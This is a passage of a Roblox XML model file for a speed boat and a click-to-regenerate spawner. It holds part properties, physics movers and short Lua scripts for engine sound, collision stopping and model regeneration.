							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">106</int>
							<CoordinateFrame name="CFrame">
								<X>-1598</X>
								<Y>4</Y>
								<Z>50</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Base</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.000119591765</X>
								<Y>-1.06147667e-007</Y>
								<Z>-1.84821693e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-9.25963468e-006</X>
								<Y>0.000912742224</Y>
								<Z>0.00012895999</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>12</X>
								<Y>4</Y>
								<Z>30</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX1597">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX1598">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">BG</string>
								<float name="P">3000</float>
								<CoordinateFrame name="cframe">
									<X>-24.9994659</X>
									<Y>4.98020554</Y>
									<Z>51.0000038</Z>
									<R00>2.38418579e-007</R00>
									<R01>-0.000661137048</R01>
									<R02>-0.999999702</R02>
									<R10>4.02139267e-006</R10>
									<R11>0.999999762</R11>
									<R12>-0.000661137048</R12>
									<R20>0.99999994</R20>
									<R21>-4.02127625e-006</R21>
									<R22>2.38418579e-007</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>0</X>
									<Y>400000</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyVelocity" referent="RBX1599">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">BV</string>
								<float name="P">1250</float>
								<Vector3 name="maxForce">
									<X>1000000</X>
									<Y>0</Y>
									<Z>1000000</Z>
								</Vector3>
								<Vector3 name="velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyPosition" referent="RBX1600">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">1250</float>
								<string name="Name">Hover</string>
								<float name="P">10000</float>
								<Vector3 name="maxForce">
									<X>0</X>
									<Y>INF</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="position">
									<X>0</X>
									<Y>5</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX1601">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">EngineScript</string>
								<ProtectedString name="Source">function OnF()
	script.Parent.Engine.Pitch = (script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function OnB()
	script.Parent.Engine.Pitch = -(script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function Off()
	script.Parent.Engine:stop()
end

function Check()
	if script.Parent.Parent.VehicleSeat.MaxSpeed &gt; 0 then
		OnF()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed &lt; 0 then
		OnB()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed == 0 then
		Off()
	end
end

script.Parent.Parent.VehicleSeat.Changed:connect(Check)
</ProtectedString>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX1602">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">true</bool>
								<string name="Name">Engine</string>
								<float name="Pitch">2.5999999</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510352</url></Content>
								<float name="Volume">1</float>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1603">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">106</int>
							<CoordinateFrame name="CFrame">
								<X>-1571</X>
								<Y>7.5</Y>
								<Z>50</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>-1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Tip</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.000119591765</X>
								<Y>-1.06147667e-007</Y>
								<Z>-1.84821693e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-2.79087567e-006</X>
								<Y>0.00086284033</Y>
								<Z>-0.000286745199</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>12</X>
								<Y>3</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX1604">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX1605">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">StopScript</string>
								<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1606">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1001</int>
							<CoordinateFrame name="CFrame">
								<X>-1588.00037</X>
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							<float name="FrontParamB">0.5</float>
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							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Stabilizer</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
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								<Y>1.31824383e-008</Y>
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								<X>2</X>
								<Y>1</Y>
								<Z>2</Z>
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						</Properties>
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							<Properties>
								<bool name="Archivable">true</bool>
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								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
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									<Y>0</Y>
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								<Vector3 name="Scale">
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									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX1608">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">Stabilizer</string>
								<float name="P">200</float>
								<CoordinateFrame name="cframe">
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									<Y>0</Y>
									<Z>0</Z>
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									<Y>0</Y>
									<Z>8.99999949e+009</Z>
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							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1609">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
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							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
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								<Y>4</Y>
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								<R22>0</R22>
							</CoordinateFrame>
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							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
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							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">RearTip</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.000119591765</X>
								<Y>-1.06147667e-007</Y>
								<Z>-1.84821693e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-9.25963468e-006</X>
								<Y>0.00094138959</Y>
								<Z>0.000127314706</Z>
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							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>6</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="CylinderMesh" referent="RBX1610">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>0.600000024</X>
									<Y>1</Y>
									<Z>0.600000024</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX1611">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">StopScript</string>
								<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1612">
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							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
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							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1003</int>
							<CoordinateFrame name="CFrame">
								<X>-1608.00037</X>
								<Y>1.4997716</Y>
								<Z>50</Z>
								<R00>0.831105351</R00>
								<R01>0.000661701604</R01>
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								<R12>0.000362112798</R12>
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								<R21>7.06181436e-006</R21>
								<R22>0.83110553</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Stabilizer</string>
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							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
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							<token name="RightSurfaceInput">0</token>
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								<Y>-1.10875689e-007</Y>
								<Z>-3.27304284e-018</Z>
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							<token name="TopSurface">6</token>
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							<Vector3 name="Velocity">
								<X>0.00702707516</X>
								<Y>-0.00111285772</Y>
								<Z>-0.00983790308</Z>
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							<token name="shape">1</token>
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								<X>2</X>
								<Y>1</Y>
								<Z>2</Z>
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						</Properties>
						<Item class="CylinderMesh" referent="RBX1613">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
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								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
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									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
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									<X>1</X>
									<Y>1</Y>
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								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX1614">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">Stabilizer</string>
								<float name="P">200</float>
								<CoordinateFrame name="cframe">
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									<Y>0</Y>
									<Z>0</Z>
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									<R21>0</R21>
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								<Vector3 name="maxTorque">
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									<Y>0</Y>
									<Z>8.99999949e+009</Z>
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							</Properties>
						</Item>
					</Item>
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						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
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								<Y>8</Y>
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								<R01>-1</R01>
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							<string name="Name">SmokeEmitter</string>
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								<X>-0.000119591765</X>
								<Y>-1.06147667e-007</Y>
								<Z>-1.84821693e-006</Z>
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								<X>-1.86676698e-006</X>
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								<Z>-0.000351052353</Z>
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								<X>2</X>
								<Y>1</Y>
								<Z>2</Z>
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						</Properties>
						<Item class="SpecialMesh" referent="RBX1616">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
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									<X>1</X>
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				</Item>
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							<Y>7.19999981</Y>
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						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
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						<token name="RightSurfaceInput">0</token>
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							<Y>-1.06147667e-007</Y>
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							<X>10</X>
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					</Properties>
				</Item>
				<Item class="Seat" referent="RBX1618">
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					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Seat</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>-0.000119591765</X>
						<Y>-1.06147667e-007</Y>
						<Z>-1.84821693e-006</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-4.76896685e-006</X>
						<Y>0.000390017987</Y>
						<Z>-0.000131594323</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>2</X>
						<Y>0.400000006</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
				<Item class="BlockMesh" referent="RBX1632">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Seat" referent="RBX1633">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-1574</X>
						<Y>6.19999981</Y>
						<Z>54</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Seat</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>-0.000119591765</X>
						<Y>-1.06147667e-007</Y>
						<Z>-1.84821693e-006</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-5.61814841e-006</X>
						<Y>0.00134675205</Y>
						<Z>-0.000131594323</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>2</X>
						<Y>0.400000006</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
				<Item class="BlockMesh" referent="RBX1634">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1635">
			<Properties>
				<bool name="Anchored">false</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1600.5</X>
					<Y>5.4000001</Y>
					<Z>43.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">512</token>
				<string name="Name">LadderMiddle</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000119591765</X>
					<Y>-1.06147667e-007</Y>
					<Z>-1.84821693e-006</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-5.98217093e-006</X>
					<Y>0.000140016258</Y>
					<Z>-3.87338659e-005</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX1636">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX1637">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-1619</X>
						<Y>7</Y>
						<Z>27</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX1638">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX1639">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX1640">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX1641">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX1642">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Transport2</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX1643">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Speed Boat</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX1644">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX1645">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
